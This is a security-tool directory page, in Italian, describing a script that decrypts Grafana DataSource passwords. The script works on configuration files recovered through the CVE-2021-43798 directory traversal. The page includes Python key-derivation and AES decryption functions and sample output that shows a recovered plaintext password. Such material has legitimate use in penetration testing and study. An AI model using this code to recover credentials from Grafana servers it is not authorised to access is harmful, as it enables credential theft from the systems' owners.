Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Grafana-Decryptor-for-CVE-2021-43798 — Decripta le password DataSource di Grafana sfruttando la directory traversal CVE-2021-43798 per recuperare i file di configurazione e derivare le chiavi di crittografia. | Kitploit
Strumenti/GitHubGitHub/sic4rio/grafana-decryptor-for-cve-2021-43798
Password CrackingStrumenti di Crittografia/DecrittografiaAnalisi delle VulnerabilitàExploitSicurezza WebPenetration Testing
GitHubsic4rio/grafana-decryptor-for-cve-2021-43798

Grafana-Decryptor-for-CVE-2021-43798

Decripta le password DataSource di Grafana sfruttando la directory traversal CVE-2021-43798 per recuperare i file di configurazione e derivare le chiavi di crittografia.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
85271 anno faNon ancora revisionato

Decriptor Grafana per CVE-2021-43798

Questo script decripta le password delle DataSource da un'istanza Grafana vulnerabile a CVE-2021-43798, che consente la lettura non autorizzata di file arbitrari.

Descrizione

Le versioni di Grafana dalla 8.0.0-beta1 alla 8.3.0 sono vulnerabili a una vulnerabilità di directory traversal che consente a utenti non autorizzati di leggere file arbitrari sul server. Questo script sfrutta questa vulnerabilità per decriptare le password delle DataSource trovate nel file grafana.db utilizzando la secret_key trovata nel file di configurazione grafana.ini.

Requisiti

  • Python 3.6+
  • Le seguenti librerie Python:
    • requests
    • questionary
    • termcolor
    • cryptography

Installazione

  1. Clona il repository o scarica lo script.
  2. Installa le librerie Python richieste:
    pip install requests questionary termcolor cryptography
    

Utilizzo

  1. Assicurati di avere i file grafana.db e grafana.ini dall'istanza Grafana di destinazione.
  2. Esegui lo script per decriptare le password delle DataSource.

Esempio: Ottieni la password della DataSource

python decrypt.py

Esempio: Cripta una password in chiaro

Puoi anche codificare una password in chiaro usando lo script decommentando il codice di esempio nello script.

Dettagli dello Script

Derivazione dell'algoritmo di crittografia

Lo script determina l'algoritmo di crittografia utilizzato analizzando il payload. L'algoritmo di crittografia predefinito è aes-cfb.

Decriptazione della password

Utilizzando l'algoritmo di crittografia derivato e la secret_key da grafana.ini, lo script decripta la password della DataSource.

Criptazione di una password

Lo script include anche la funzionalità per criptare una password in chiaro usando lo stesso metodo di crittografia e la stessa secret_key.

Output di esempio

######################################
         GRAFANA DECRYPTOR
CVE-2021-43798 Grafana Unauthorized
arbitrary file reading vulnerability
            SICARI0
######################################

? Enter the datasource password: anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==

[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] plainText= SuperSecureP@ssw0rd

Funzioni di decriptazione e criptazione

def decrypt_gcm(block, payload):
    gcm = Cipher(algorithms.AES(block), modes.GCM(payload[SALT_LENGTH:SALT_LENGTH+12]), backend=default_backend()).decryptor()
    return gcm.update(payload[SALT_LENGTH+12:]) + gcm.finalize()

def decrypt_cfb(block, payload):
    if len(payload) < 16:
        raise ValueError("Payload too short")
    
    iv = payload[SALT_LENGTH:SALT_LENGTH+16]
    payload = payload[SALT_LENGTH+16:]
    decryptor = Cipher(algorithms.AES(block), modes.CFB(iv), backend=default_backend()).decryptor()
    return decryptor.update(payload) + decryptor.finalize()

def encryption_key_to_bytes(secret, salt):
    kdf = PBKDF2HMAC(
        algorithm=hashes.SHA256(),
        length=32,
        salt=salt,
        iterations=10000,
        backend=default_backend()
    )
    return kdf.derive(secret.encode())

def decrypt(payload, secret):
    alg, payload = derive_encryption_algorithm(payload)
    
    if len(payload) < SALT_LENGTH:
        raise ValueError("Unable to compute salt")
    
    salt = payload[:SALT_LENGTH]
    key = encryption_key_to_bytes(secret, salt)
    
    block = algorithms.AES(key)
    
    if alg == AES_GCM:
        return decrypt_gcm(key, payload)
    else:
        return decrypt_cfb(key, payload)

def encrypt(payload, secret):
    salt = os.urandom(SALT_LENGTH)
    key = encryption_key_to_bytes(secret, salt)
    block = algorithms.AES(key)
    
    iv = os.urandom(16)
    encryptor = Cipher(algorithms.AES(key), modes.CFB(iv), backend=default_backend()).encryptor()
    encrypted = encryptor.update(payload) + encryptor.finalize()
    
    return salt + iv + encrypted

Queste funzioni gestiscono i processi di decriptazione e criptazione.

Contributi

Sentiti libero di aprire issue o pull request se trovi bug o hai suggerimenti per miglioramenti.

Licenza

Questo progetto è concesso in licenza con la licenza MIT. Vedi il file LICENSE per i dettagli.

Scarica lo strumento